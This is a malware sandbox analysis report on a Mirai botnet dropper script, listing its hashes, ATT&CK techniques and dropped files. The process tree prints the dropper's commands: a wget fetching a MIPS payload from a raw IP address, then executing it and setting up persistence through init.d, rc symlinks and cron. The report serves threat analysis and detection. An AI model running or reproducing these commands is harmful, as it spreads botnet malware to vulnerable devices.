mirai | 70acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643 | Triage™

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/10/2026, 22:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
l.sh
Size 4KB
Sample261030-2glqfagy6m
SHA256 70acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643
MD5 8030b6bdf0f8951ef3768c64ba667238
SHA1 d62dc2042638c5a814d10adc4de073cf1e895f4d
SHA512 114387404be9ea949d37da4655731feb4ac26007aca6254400522e4d561e8b23b9bb352dcbf2732ba81f5aa0d1ec4f2d3490d75fd358b224348deded009b26ce
SSDEEP 96:zJgRXmrVdgImxt4uaxUQb5XlrLqsMt/z6TsMOc:zG2rVbqq5Xv79
TLSH
T1CD813ED6BC32C9B3B5EAC474BB9E7244FB87856E09543A02744EBC74670C56CA03E399
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

botnet mirai defense_evasion discovery execution mirai persistence privilege_escalation

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

pid	Process
738	chmod
739	chmod
740	chmod
744	chmod
733	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.b	735	l.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

description	ioc	Process
File opened for modification	/var/spool/cron/root	l.sh

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

Boot or Logon Autostart Execution

RC Scripts

description	ioc	Process
File opened for modification	/etc/init.d/bot	cp

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

Boot or Logon Autostart Execution

RC Scripts

description	ioc	Process
File opened for modification	/etc/rc.local	l.sh

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
718	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.b	wget

/tmp/l.sh
/tmp/l.sh
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Modifies rc script
PID:712
- /bin/uname
  uname -m
  2⤵
  PID:714
- /bin/rm
  rm -f .b
  2⤵
  PID:716
- /usr/bin/wget
  wget -qO .b http://77.239.124.141/b/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 .b
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /bin/cat
  cat
  2⤵
  PID:736
- /tmp/.b
  ./.b
  2⤵
  PID:735
- /bin/chmod
  chmod 777 /var/.m
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /bin/chmod
  chmod 777 /var
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /bin/chmod
  chmod 777 /etc/rc.local
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /bin/cp
  cp /var/.m /etc/init.d/bot
  2⤵
  - Modifies init.d
  - Reads runtime system information
  PID:742
- /bin/chmod
  chmod 777 /etc/init.d/bot
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /bin/ln
  ln -sf /etc/init.d/bot /etc/rc3.d/S99bot
  2⤵
  PID:745
- /bin/ln
  ln -sf /etc/init.d/bot /etc/rc5.d/S99bot
  2⤵
  PID:746
- /bin/grep
  grep -q /var/.m /var/spool/cron/root
  2⤵
  PID:747

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Cron

Persistence

Boot or Logon Autostart Execution

Boot or Logon Initialization Scripts

RC Scripts

Scheduled Task/Job

Cron

Privilege Escalation

Boot or Logon Autostart Execution

Boot or Logon Initialization Scripts

RC Scripts

Scheduled Task/Job

Cron

Defense Evasion

File and Directory Permissions Modification

Linux and Mac File and Directory Permissions Modification

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 36B
SHA256 6a948b659c747bc2cb77b6808bf9fa5aeefb5fde19a2e58d26823bcde924f69e
MD5 5a7645a3c9532421ddefacee5b734c49
SHA1 27ecea8c5b6c66f06f06c4cbb6abd9957e328b66
SHA512 ddc52f9e216330137fc09a5125bde2d21473834f52e019b785d43520e13095913d096084155b76e8be4658193cd8ebde531156e2a0fde9686510d17be514dc9d
MD5 SHA1 SHA512

Submit Download

.b

Path /tmp/.b
Size 118KB
SHA256 58b043e3f0faab361e56a45860fcfa9d0fb770098e856e83dc58df33408c646e
MD5 e5174665837a70608c3a8a6c7919ca4c
SHA1 1639790529af7b06df7a53b05206727240f89a43
SHA512 3832b38b89bfbe55004dd6e7ea40230342fce62a6f6381dc158761d87a05cde5c72e601f016948ed5f7e6f72a972879abee49d1ea395526cc1f96359111c9852
SSDEEP 1536:xk8NZJjWAaxPucve4meOeuCyTPHvwIp/read7Q1Qs/Rd/ue+dhfLod0UvXP/:JZJjBaxWzhHvlp/o1F/P+3LodTvXP/
TLSH
T177C3E91E7E218FEEF259C27007F38A31569477962AA2D685E26CE6501F213CD2C1FF64
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.bpid

Path /var/.bpid
Size 4B
SHA256 ab6e7dc69b35a0263ac29711ca51215e4c4dfe4213f176bc3a4e8ddcc044a306
MD5 300d2b9a6ac3859c1533c5ff7070d8ff
SHA1 a2c8f2f2d55065bf4abdf8fbf84306b07d62d376
SHA512 04763ac16313e0e3c5e184e926c496f05ba4ce264aefc9096f51f0a4b909f6e2088fc3d5ed25470c4d307139b1f6ad4193fd86dba93fdd9001b4b3d502aa15a9
MD5 SHA1 SHA512

Submit Download

.m

Path /var/.m
Size 334B
SHA256 d9688470ee4aef3d14f0962df3ef76df2b3243441fea6e2802227ed46f4e2bb8
MD5 876d241c66e2030083f4c2352ecc2ce8
SHA1 8d7cd97fbdc929c32ec05fef8cca3f41a814be0e
SHA512 c013a82196eee416db542eb9a4114973e1de3df76c50cd1965032f79c9ae0a14b728d09b9fa6af7f713fd422e902a380f907717ad1c550b74e20b8d8bcd4a154
TLSH
T1F4E07DE0F4281A3230C88DF4F69DC1505291C42F5DA11C54744A9D70370E9BCF17DB31
MD5 SHA1 SHA512 TLSH

Submit Download

root

Path /var/spool/cron/root
Size 37B
SHA256 1b3fe417903fe231cb53c927797d6a192a54d98b541b819cb06df8f702dc5c27
MD5 9ba33aff44b9928b56a63b7a4bf3f120
SHA1 83fe59ef376a6f5220da36b89eb80ecea6cdb7db
SHA512 146c40cb28327c15c19b6e1e45dce7d87f5b320c7e4c5f618127b354b1c73a0c6b7ca15314f0f7a28db571536de658cb6b694bbeccdac9e86c71aa23bb3bad37
MD5 SHA1 SHA512

Submit Download